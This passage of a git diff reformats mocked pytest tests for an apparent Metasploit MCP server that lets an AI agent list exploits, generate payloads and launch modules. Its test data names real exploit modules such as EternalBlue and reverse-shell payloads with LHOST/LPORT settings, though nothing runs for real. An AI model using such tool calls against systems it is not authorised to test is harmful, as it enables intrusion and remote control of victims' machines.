'r') as f: + + source_path = os.path.join( + os.path.dirname(os.path.dirname(__file__)), "src/metasploit_mcp/server.py" + ) + with open(source_path, "r") as f: source = f.read() - - run_post_start = source.find('async def run_post_module(') - run_post_end = source.find('\n@mcp.tool', run_post_start + 1) + + run_post_start = source.find("async def run_post_module(") + run_post_end = source.find("\n@mcp.tool", run_post_start + 1) if run_post_end == -1: run_post_end = len(source) - + run_post_source = source[run_post_start:run_post_end] - - assert 'timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in run_post_source, \ - "run_post_module should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" - assert 'inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in run_post_source, \ - "run_post_module should cap inactivity_timeout_seconds" - + + assert ( + "timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in run_post_source + ), "run_post_module should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" + assert ( + "inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in run_post_source + ), "run_post_module should cap inactivity_timeout_seconds" + def test_run_auxiliary_module_uses_timeout_cap(self): """Verify run_auxiliary_module function checks timeout cap""" import os - - source_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'src/metasploit_mcp/server.py') - with open(source_path, 'r') as f: + + source_path = os.path.join( + os.path.dirname(os.path.dirname(__file__)), "src/metasploit_mcp/server.py" + ) + with open(source_path, "r") as f: source = f.read() - - run_aux_start = source.find('async def run_auxiliary_module(') - run_aux_end = source.find('\n@mcp.tool', run_aux_start + 1) + + run_aux_start = source.find("async def run_auxiliary_module(") + run_aux_end = source.find("\n@mcp.tool", run_aux_start + 1) if run_aux_end == -1: run_aux_end = len(source) - + run_aux_source = source[run_aux_start:run_aux_end] - - assert 'timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in run_aux_source, \ - "run_auxiliary_module should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" - assert 'inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in run_aux_source, \ - "run_auxiliary_module should cap inactivity_timeout_seconds" - + + assert ( + "timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in run_aux_source + ), "run_auxiliary_module should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" + assert ( + "inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in run_aux_source + ), "run_auxiliary_module should cap inactivity_timeout_seconds" + def test_send_session_command_uses_timeout_cap(self): """Verify send_session_command function checks timeout cap""" import os - - source_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'src/metasploit_mcp/server.py') - with open(source_path, 'r') as f: + + source_path = os.path.join( + os.path.dirname(os.path.dirname(__file__)), "src/metasploit_mcp/server.py" + ) + with open(source_path, "r") as f: source = f.read() - - send_session_start = source.find('async def send_session_command(') - send_session_end = source.find('\n@mcp.tool', send_session_start + 1) + + send_session_start = source.find("async def send_session_command(") + send_session_end = source.find("\n@mcp.tool", send_session_start + 1) if send_session_end == -1: send_session_end = len(source) - + send_session_source = source[send_session_start:send_session_end] - - assert 'timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in send_session_source, \ - "send_session_command should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" - assert 'inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS' in send_session_source, \ - "send_session_command should cap inactivity_timeout_seconds" + + assert ( + "timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in send_session_source + ), "send_session_command should check if timeout_seconds exceeds MAX_TOOL_TIMEOUT_SECONDS" + assert ( + "inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS" in send_session_source + ), "send_session_command should cap inactivity_timeout_seconds" diff --git a/tests/test_tools_integration.py b/tests/test_tools_integration.py index 95ba073..4028f4f 100644 --- a/tests/test_tools_integration.py +++ b/tests/test_tools_integration.py @@ -13,11 +13,12 @@ from typing import Dict, Any # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Mock pymetasploit3 module BEFORE importing MetasploitMCP # We need to set up complete mock classes first + # Create comprehensive mock classes class MockMsfRpcClient: def __init__(self): @@ -26,28 +27,34 @@ def __init__(self): self.sessions = Mock() self.jobs = Mock() self.consoles = Mock() - + # Setup default behaviors - self.core.version = {'version': '6.3.0'} + self.core.version = {"version": "6.3.0"} # These are properties that return lists - self.modules.exploits = ['windows/smb/ms17_010_eternalblue', 'unix/ftp/vsftpd_234_backdoor'] - self.modules.payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/shell/reverse_tcp'] + self.modules.exploits = ["windows/smb/ms17_010_eternalblue", "unix/ftp/vsftpd_234_backdoor"] + self.modules.payloads = ["windows/meterpreter/reverse_tcp", "linux/x86/shell/reverse_tcp"] # These are properties that return dicts (not methods!) self.sessions.list = {} self.jobs.list = {} + class MockMsfConsole: - def __init__(self, cid='test-console-id'): + def __init__(self, cid="test-console-id"): self.cid = cid self._command_history = [] - + def read(self): - return {'data': 'msf6 > ', 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', 'busy': False} - + return { + "data": "msf6 > ", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, + } + def write(self, command): self._command_history.append(command.strip()) return True + class MockMsfModule: def __init__(self, fullname): self.fullname = fullname @@ -55,46 +62,46 @@ def __init__(self, fullname): # Create a proper mock for runoptions that supports __setitem__ self.runoptions = {} self.missing_required = [] - + def __setitem__(self, key, value): self.options[key] = value - + def execute(self, payload=None): - return { - 'job_id': 1234, - 'uuid': 'test-uuid-123', - 'error': False - } - + return {"job_id": 1234, "uuid": "test-uuid-123", "error": False} + def payload_generate(self): return b"test_payload_bytes" -class MockMsfRpcError(Exception): - pass + +# Use the canonical MsfRpcError so its identity matches the class that +# metasploit_mcp.server catches at runtime (see tests/__init__.py). +from tests import MockMsfRpcError # Apply mocks -sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient -sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole -sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError +sys.modules["pymetasploit3.msfrpc"].MsfRpcClient = MockMsfRpcClient +sys.modules["pymetasploit3.msfrpc"].MsfConsole = MockMsfConsole +sys.modules["pymetasploit3.msfrpc"].MsfRpcError = MockMsfRpcError # Import the module and then get the actual functions import metasploit_mcp.server as MetasploitMCP + # Helper function to unwrap FastMCP decorated functions def unwrap_tool(tool_obj): """Unwrap a FastMCP tool to get the underlying function.""" # Try different attributes where the actual function might be stored - for attr in ['func', '__wrapped__', '_func', 'fn']: + for attr in ["func", "__wrapped__", "_func", "fn"]: if hasattr(tool_obj, attr): return getattr(tool_obj, attr) # If it's already callable, return as-is if callable(tool_obj): return tool_obj # Last resort: try to get the function from the tool's internals - if hasattr(tool_obj, '__dict__') and 'func' in tool_obj.__dict__: - return tool_obj.__dict__['func'] + if hasattr(tool_obj, "__dict__") and "func" in tool_obj.__dict__: + return tool_obj.__dict__["func"] return tool_obj + # Get the actual functions (unwrapped from FastMCP decorators) list_exploits = unwrap_tool(MetasploitMCP.list_exploits) list_payloads = unwrap_tool(MetasploitMCP.list_payloads) @@ -116,48 +123,48 @@ class TestExploitListingTools: def mock_client(self, mock_asyncio_to_thread): """Fixture providing a mock MSF client.""" client = MockMsfRpcClient() - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): yield client @pytest.mark.asyncio async def test_list_exploits_no_filter(self, mock_client): """Test listing exploits without filter.""" exploits_list = [ - 'windows/smb/ms17_010_eternalblue', - 'unix/ftp/vsftpd_234_backdoor', - 'windows/http/iis_webdav_upload_asp' + "windows/smb/ms17_010_eternalblue", + "unix/ftp/vsftpd_234_backdoor", + "windows/http/iis_webdav_upload_asp", ] mock_client.modules.exploits = exploits_list - + result = await list_exploits() - + assert isinstance(result, list) assert len(result) == 3 - assert 'windows/smb/ms17_010_eternalblue' in result + assert "windows/smb/ms17_010_eternalblue" in result @pytest.mark.asyncio async def test_list_exploits_with_filter(self, mock_client): """Test listing exploits with search term.""" mock_client.modules.exploits = [ - 'windows/smb/ms17_010_eternalblue', - 'unix/ftp/vsftpd_234_backdoor', - 'windows/smb/ms08_067_netapi' + "windows/smb/ms17_010_eternalblue", + "unix/ftp/vsftpd_234_backdoor", + "windows/smb/ms08_067_netapi", ] - + result = await list_exploits("smb") - + assert isinstance(result, list) assert len(result) == 2 - assert all('smb' in exploit.lower() for exploit in result) + assert all("smb" in exploit.lower() for exploit in result) @pytest.mark.asyncio async def test_list_exploits_error(self, mock_client): """Test listing exploits with MSF error.""" mock_client.modules.exploits = Mock(side_effect=MockMsfRpcError("Connection failed")) - + result = await list_exploits() - + assert isinstance(result, list) assert len(result) == 1 assert "Error" in result[0] @@ -166,17 +173,18 @@ async def test_list_exploits_error(self, mock_client): async def test_list_exploits_timeout(self, mock_client): """Test listing exploits with timeout.""" import asyncio - + def slow_exploits(): # Simulate a slow response that would timeout import time + time.sleep(35) # Longer than RPC_CALL_TIMEOUT (30s) - return ['exploit1', 'exploit2'] - + return ["exploit1", "exploit2"] + mock_client.modules.exploits = slow_exploits - + result = await list_exploits() - + assert isinstance(result, list) assert len(result) == 1 assert "Timeout" in result[0] @@ -186,13 +194,13 @@ def slow_exploits(): async def test_list_payloads_no_filter(self, mock_client): """Test listing payloads without filter.""" mock_client.modules.payloads = [ - 'windows/meterpreter/reverse_tcp', - 'linux/x86/shell/reverse_tcp', - 'windows/shell/reverse_tcp' + "windows/meterpreter/reverse_tcp", + "linux/x86/shell/reverse_tcp", + "windows/shell/reverse_tcp", ] - + result = await list_payloads() - + assert isinstance(result, list) assert len(result) == 3 @@ -200,114 +208,118 @@ async def test_list_payloads_no_filter(self, mock_client): async def test_list_payloads_with_platform_filter(self, mock_client): """Test listing payloads with platform filter.""" mock_client.modules.payloads = [ - 'windows/meterpreter/reverse_tcp', - 'linux/x86/shell/reverse_tcp', - 'windows/shell/reverse_tcp' + "windows/meterpreter/reverse_tcp", + "linux/x86/shell/reverse_tcp", + "windows/shell/reverse_tcp", ] - + result = await list_payloads(platform="windows") - + assert isinstance(result, list) assert len(result) == 2 - assert all('windows' in payload.lower() for payload in result) + assert all("windows" in payload.lower() for payload in result) @pytest.mark.asyncio async def test_list_payloads_with_arch_filter(self, mock_client): """Test listing payloads with architecture filter.""" mock_client.modules.payloads = [ - 'windows/meterpreter/reverse_tcp', - 'linux/x86/shell/reverse_tcp', - 'windows/x64/meterpreter/reverse_tcp' + "windows/meterpreter/reverse_tcp", + "linux/x86/shell/reverse_tcp", + "windows/x64/meterpreter/reverse_tcp", ] - + result = await list_payloads(arch="x86") - + assert isinstance(result, list) assert len(result) == 1 - assert 'x86' in result[0] + assert "x86" in result[0] @pytest.mark.asyncio async def test_list_payloads_with_exploit_module(self, mock_asyncio_to_thread): """Test listing payloads compatible with an exploit module.""" # Create mock client client = MockMsfRpcClient() - + # Create a mock module with payloads - mock_module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') + mock_module = MockMsfModule("exploit/windows/smb/ms17_010_eternalblue") mock_module.payloads = [ - 'windows/x64/meterpreter/reverse_tcp', - 'windows/x64/meterpreter/bind_tcp', - 'windows/x64/shell/reverse_tcp' + "windows/x64/meterpreter/reverse_tcp", + "windows/x64/meterpreter/bind_tcp", + "windows/x64/shell/reverse_tcp", ] - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=mock_module): + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=mock_module): result = await list_payloads(compatible_with="windows/smb/ms17_010_eternalblue") - + assert isinstance(result, list) assert len(result) == 3 - assert any(item.startswith('windows/x64/meterpreter/reverse_tcp') for item in result) - assert any(item.startswith('windows/x64/meterpreter/bind_tcp') for item in result) + assert any(item.startswith("windows/x64/meterpreter/reverse_tcp") for item in result) + assert any(item.startswith("windows/x64/meterpreter/bind_tcp") for item in result) @pytest.mark.asyncio async def test_list_payloads_with_exploit_module_and_filters(self, mock_asyncio_to_thread): """Test listing payloads with exploit module and additional filters.""" # Create mock client client = MockMsfRpcClient() - - mock_module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') + + mock_module = MockMsfModule("exploit/windows/smb/ms17_010_eternalblue") mock_module.payloads = [ - 'windows/x64/meterpreter/reverse_tcp', - 'windows/x64/meterpreter/bind_tcp', - 'windows/x64/shell/reverse_tcp', - 'windows/meterpreter/reverse_tcp' # x86 version + "windows/x64/meterpreter/reverse_tcp", + "windows/x64/meterpreter/bind_tcp", + "windows/x64/shell/reverse_tcp", + "windows/meterpreter/reverse_tcp", # x86 version ] - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=mock_module): - result = await list_payloads(compatible_with="windows/smb/ms17_010_eternalblue", arch="x64") - + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=mock_module): + result = await list_payloads( + compatible_with="windows/smb/ms17_010_eternalblue", arch="x64" + ) + assert isinstance(result, list) assert len(result) == 3 # Should only include x64 payloads - assert all('x64' in payload for payload in result) + assert all("x64" in payload for payload in result) @pytest.mark.asyncio async def test_list_payloads_with_invalid_exploit_module(self, mock_asyncio_to_thread): """Test listing payloads with invalid exploit module.""" # Create mock client client = MockMsfRpcClient() - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', side_effect=ValueError("Module not found")): + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch( + "metasploit_mcp.server._get_module_object", + side_effect=ValueError("Module not found"), + ): result = await list_payloads(compatible_with="invalid/exploit/name") - + assert isinstance(result, list) assert len(result) == 1 assert "Error" in result[0] assert "not found" in result[0] @pytest.mark.asyncio - async def test_list_payloads_exploit_module_no_compatible_payloads_attr(self, mock_asyncio_to_thread): + async def test_list_payloads_exploit_module_no_compatible_payloads_attr( + self, mock_asyncio_to_thread + ): """Test listing payloads when module doesn't expose payloads attribute.""" # Create mock client client = MockMsfRpcClient() - client.modules.payloads = [ - 'unix/reverse', - 'unix/bind_netcat' - ] - - mock_module = MockMsfModule('exploit/unix/ftp/vsftpd_234_backdoor') + client.modules.payloads = ["unix/reverse", "unix/bind_netcat"] + + mock_module = MockMsfModule("exploit/unix/ftp/vsftpd_234_backdoor") # Don't set compatible_payloads attribute to simulate older MSF versions - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=mock_module): + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=mock_module): result = await list_payloads(compatible_with="unix/ftp/vsftpd_234_backdoor") - + # Should return an error message explaining that compatible payloads could not be queried assert isinstance(result, list) assert len(result) == 1 @@ -321,14 +333,14 @@ class TestPayloadGeneration: def mock_client_and_module(self, mock_asyncio_to_thread): """Fixture providing mocked client and module.""" client = MockMsfRpcClient() - module = MockMsfModule('payload/windows/meterpreter/reverse_tcp') - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=module): - with patch('metasploit_mcp.server.PAYLOAD_SAVE_DIR', '/tmp/test'): - with patch('os.makedirs'): - with patch('builtins.open', create=True) as mock_open: + module = MockMsfModule("payload/windows/meterpreter/reverse_tcp") + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=module): + with patch("metasploit_mcp.server.PAYLOAD_SAVE_DIR", "/tmp/test"): + with patch("os.makedirs"): + with patch("builtins.open", create=True) as mock_open: mock_open.return_value.__enter__.return_value.write = Mock() yield client, module @@ -336,14 +348,12 @@ def mock_client_and_module(self, mock_asyncio_to_thread): async def test_generate_payload_dict_options(self, mock_client_and_module): """Test payload generation with dictionary options.""" client, module = mock_client_and_module - + options = {"LHOST": "192.168.1.100", "LPORT": 4444} result = await generate_payload( - payload="windows/meterpreter/reverse_tcp", - format="exe", - options=options + payload="windows/meterpreter/reverse_tcp", format="exe", options=options ) - + assert result["status"] == "success" assert "server_save_path" in result assert result["payload_size"] == len(b"test_payload_bytes") @@ -352,14 +362,12 @@ async def test_generate_payload_dict_options(self, mock_client_and_module): async def test_generate_payload_string_options(self, mock_client_and_module): """Test payload generation with string options.""" client, module = mock_client_and_module - + options = "LHOST=192.168.1.100,LPORT=4444" result = await generate_payload( - payload="windows/meterpreter/reverse_tcp", - format="exe", - options=options + payload="windows/meterpreter/reverse_tcp", format="exe", options=options ) - + assert result["status"] == "success" # Verify the options were parsed correctly assert module.options["LHOST"] == "192.168.1.100" @@ -369,13 +377,11 @@ async def test_generate_payload_string_options(self, mock_client_and_module): async def test_generate_payload_empty_options(self, mock_client_and_module): """Test payload generation with empty options.""" client, module = mock_client_and_module - + result = await generate_payload( - payload="windows/meterpreter/reverse_tcp", - format="exe", - options={} + payload="windows/meterpreter/reverse_tcp", format="exe", options={} ) - + assert result["status"] == "error" assert "required" in result["message"] @@ -383,20 +389,20 @@ async def test_generate_payload_empty_options(self, mock_client_and_module): async def test_generate_payload_invalid_string_options(self, mock_client_and_module): """Test payload generation with invalid string options.""" client, module = mock_client_and_module - + result = await generate_payload( payload="windows/meterpreter/reverse_tcp", format="exe", - options="LHOST192.168.1.100" # Missing equals + options="LHOST192.168.1.100", # Missing equals ) - + assert result["status"] == "error" assert "Invalid options format" in result["message"] @pytest.mark.asyncio async def test_generate_payload_keyerror_from_rpc(self, mock_asyncio_to_thread): """Test payload generation handles KeyError from pymetasploit3. - + This tests the case where Metasploit RPC returns a response without the expected 'payload' key, causing pymetasploit3 to raise KeyError. This can happen when: @@ -405,23 +411,22 @@ async def test_generate_payload_keyerror_from_rpc(self, mock_asyncio_to_thread): - The payload doesn't support the requested format """ client = MockMsfRpcClient() - module = MockMsfModule('payload/java/jsp_shell_reverse_tcp') - + module = MockMsfModule("payload/java/jsp_shell_reverse_tcp") + # Mock payload_generate to raise KeyError (simulating pymetasploit3 behavior) def raise_keyerror(): - raise KeyError(b'payload') + raise KeyError(b"payload") + module.payload_generate = raise_keyerror - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=module): + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=module): options = {"LHOST": "192.168.1.100", "LPORT": 4444} result = await generate_payload( - payload="java/jsp_shell_reverse_tcp", - format="war", - options=options + payload="java/jsp_shell_reverse_tcp", format="war", options=options ) - + assert result["status"] == "error" assert "java/jsp_shell_reverse_tcp" in result["message"] assert "war" in result["message"] @@ -435,26 +440,25 @@ def raise_keyerror(): async def test_generate_payload_keyerror_with_missing_required(self, mock_asyncio_to_thread): """Test payload generation includes missing_required info on KeyError.""" client = MockMsfRpcClient() - module = MockMsfModule('payload/windows/meterpreter/reverse_tcp') - module.missing_required = ['LHOST', 'LPORT'] - + module = MockMsfModule("payload/windows/meterpreter/reverse_tcp") + module.missing_required = ["LHOST", "LPORT"] + # Mock payload_generate to raise KeyError def raise_keyerror(): - raise KeyError(b'payload') + raise KeyError(b"payload") + module.payload_generate = raise_keyerror - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=module): + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=module): options = {"LHOST": "192.168.1.100"} # Missing LPORT result = await generate_payload( - payload="windows/meterpreter/reverse_tcp", - format="exe", - options=options + payload="windows/meterpreter/reverse_tcp", format="exe", options=options ) - + assert result["status"] == "error" - assert result.get("missing_required") == ['LHOST', 'LPORT'] + assert result.get("missing_required") == ["LHOST", "LPORT"] class TestExploitExecution: @@ -464,22 +468,22 @@ class TestExploitExecution: def mock_exploit_environment(self, mock_asyncio_to_thread): """Fixture providing mocked exploit execution environment.""" client = MockMsfRpcClient() - module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._execute_module_rpc') as mock_rpc: - with patch('metasploit_mcp.server._execute_module_console') as mock_console: + module = MockMsfModule("exploit/windows/smb/ms17_010_eternalblue") + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._execute_module_rpc") as mock_rpc: + with patch("metasploit_mcp.server._execute_module_console") as mock_console: mock_rpc.return_value = { "status": "success", "message": "Exploit executed", "job_id": 1234, - "session_id": 5678 + "session_id": 5678, } mock_console.return_value = { - "status": "success", + "status": "success", "message": "Exploit executed via console", - "module_output": "Session 1 opened" + "module_output": "Session 1 opened", } yield client, mock_rpc, mock_console @@ -487,17 +491,19 @@ def mock_exploit_environment(self, mock_asyncio_to_thread): async def test_run_exploit_dict_payload_options(self, mock_exploit_environment): """Test exploit execution with dictionary payload options.""" client, mock_rpc, mock_console = mock_exploit_environment - + # Mock port availability check to always return available - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, ""))): + with patch( + "metasploit_mcp.server.check_port_available", new=AsyncMock(return_value=(True, "")) + ): result = await run_exploit( module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, payload="windows/meterpreter/reverse_tcp", payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=True + run_as_job=True, ) - + assert result["status"] == "success" mock_rpc.assert_called_once() @@ -505,37 +511,39 @@ async def test_run_exploit_dict_payload_options(self, mock_exploit_environment): async def test_run_exploit_string_payload_options(self, mock_exploit_environment): """Test exploit execution with string payload options.""" client, mock_rpc, mock_console = mock_exploit_environment - + # Mock port availability check to always return available - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, ""))): + with patch( + "metasploit_mcp.server.check_port_available", new=AsyncMock(return_value=(True, "")) + ): result = await run_exploit( module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, payload="windows/meterpreter/reverse_tcp", payload_options="LHOST=192.168.1.100,LPORT=4444", - run_as_job=True + run_as_job=True, ) - + assert result["status"] == "success" # Verify RPC was called with parsed options call_args = mock_rpc.call_args - payload_spec = call_args[1]['payload_spec'] - assert payload_spec['options']['LHOST'] == "192.168.1.100" - assert payload_spec['options']['LPORT'] == 4444 + payload_spec = call_args[1]["payload_spec"] + assert payload_spec["options"]["LHOST"] == "192.168.1.100" + assert payload_spec["options"]["LPORT"] == 4444 @pytest.mark.asyncio async def test_run_exploit_invalid_payload_options(self, mock_exploit_environment): """Test exploit execution with invalid payload options.""" client, mock_rpc, mock_console = mock_exploit_environment - + result = await run_exploit( module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, payload="windows/meterpreter/reverse_tcp", payload_options="LHOST192.168.1.100", # Invalid format - run_as_job=True + run_as_job=True, ) - + assert result["status"] == "error" assert "Invalid payload_options format" in result["message"] @@ -543,15 +551,15 @@ async def test_run_exploit_invalid_payload_options(self, mock_exploit_environmen async def test_run_exploit_console_mode(self, mock_exploit_environment): """Test exploit execution in console mode.""" client, mock_rpc, mock_console = mock_exploit_environment - + result = await run_exploit( module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, payload="windows/meterpreter/reverse_tcp", payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=False # Console mode + run_as_job=False, # Console mode ) - + assert result["status"] == "success" mock_console.assert_called_once() mock_rpc.assert_not_called() @@ -560,25 +568,28 @@ async def test_run_exploit_console_mode(self, mock_exploit_environment): async def test_run_exploit_invalid_payload_error_message_rpc(self, mock_asyncio_to_thread): """Test that invalid payload error includes helpful suggestion (RPC mode).""" client = MockMsfRpcClient() - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, None))): - with patch('metasploit_mcp.server._execute_module_rpc') as mock_rpc: + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch( + "metasploit_mcp.server.check_port_available", + new=AsyncMock(return_value=(True, None)), + ): + with patch("metasploit_mcp.server._execute_module_rpc") as mock_rpc: # Simulate an invalid payload error mock_rpc.return_value = { "status": "error", - "message": "Invalid payload specified: linux/x86/shell/reverse_tcp. To view compatible payloads for this exploit, use: list_payloads(compatible_with='windows/smb/ms17_010_eternalblue')." + "message": "Invalid payload specified: linux/x86/shell/reverse_tcp. To view compatible payloads for this exploit, use: list_payloads(compatible_with='windows/smb/ms17_010_eternalblue').", } - + result = await run_exploit( module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, payload="linux/x86/shell/reverse_tcp", # Invalid for Windows exploit payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=True + run_as_job=True, ) - + assert result["status"] == "error" assert "list_payloads" in result["message"] assert "compatible_with" in result["message"] @@ -588,27 +599,27 @@ async def test_run_exploit_invalid_payload_error_message_rpc(self, mock_asyncio_ async def test_run_exploit_module_validation(self, mock_asyncio_to_thread): """Test that run_exploit validates module exists before execution.""" from metasploit_mcp.server import InvalidModuleError, _get_module_object - + client = MockMsfRpcClient() - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object') as mock_get_module: + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object") as mock_get_module: # Simulate module not found mock_get_module.side_effect = InvalidModuleError( - module_type='exploit', - module_name='nonexistent/module', - message="Module 'exploit/nonexistent/module' not found." + module_type="exploit", + module_name="nonexistent/module", + message="Module 'exploit/nonexistent/module' not found.", ) - + result = await run_exploit( module="nonexistent/module", options={"RHOSTS": "192.168.1.1"}, payload="windows/meterpreter/reverse_tcp", payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=True + run_as_job=True, ) - + assert result["status"] == "error" assert "not found" in result["message"] # Should not have attempted execution @@ -618,99 +629,110 @@ async def test_run_exploit_module_validation(self, mock_asyncio_to_thread): async def test_run_exploit_failed_to_load_module_detection_check(self, mock_asyncio_to_thread): """Test that 'Failed to load module' is detected during vulnerability check.""" from metasploit_mcp.server import FAILED_TO_LOAD_MODULE_RE - + client = MockMsfRpcClient() - mock_module = MockMsfModule('exploit/multi/http/cups_ipp_remote_code_execution') - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=mock_module): - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, None))): - with patch('metasploit_mcp.server._execute_module_console') as mock_console: + mock_module = MockMsfModule("exploit/multi/http/cups_ipp_remote_code_execution") + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=mock_module): + with patch( + "metasploit_mcp.server.check_port_available", + new=AsyncMock(return_value=(True, None)), + ): + with patch("metasploit_mcp.server._execute_module_console") as mock_console: # Simulate "Failed to load module" in check output mock_console.return_value = { "status": "error", "message": "Module 'exploit/multi/http/cups_ipp_remote_code_execution' failed to load.", "module_output": "[-] No results from search\n[-] Failed to load module: exploit/multi/http/cups_ipp_remote_code_execution\nRHOSTS => 10.77.0.191\nRPORT => 631\n[-] Unknown command: check. Run the help command for more details.\n", - "module": "exploit/multi/http/cups_ipp_remote_code_execution" + "module": "exploit/multi/http/cups_ipp_remote_code_execution", } - + result = await run_exploit( module="multi/http/cups_ipp_remote_code_execution", options={"RHOSTS": "10.77.0.191", "RPORT": 631}, payload="cmd/unix/reverse_bash", payload_options={"LHOST": "10.77.0.1", "LPORT": 4474}, run_as_job=False, - check_vulnerability=True + check_vulnerability=True, ) - + assert result["status"] == "error" assert "failed to load" in result["message"].lower() # Verify exit terms included FAILED_TO_LOAD_MODULE_RE call_args = mock_console.call_args - exit_terms = call_args.kwargs.get('exit_terms_regexes', []) + exit_terms = call_args.kwargs.get("exit_terms_regexes", []) assert any(regex == FAILED_TO_LOAD_MODULE_RE for regex in exit_terms) @pytest.mark.asyncio - async def test_run_exploit_failed_to_load_module_detection_exploit(self, 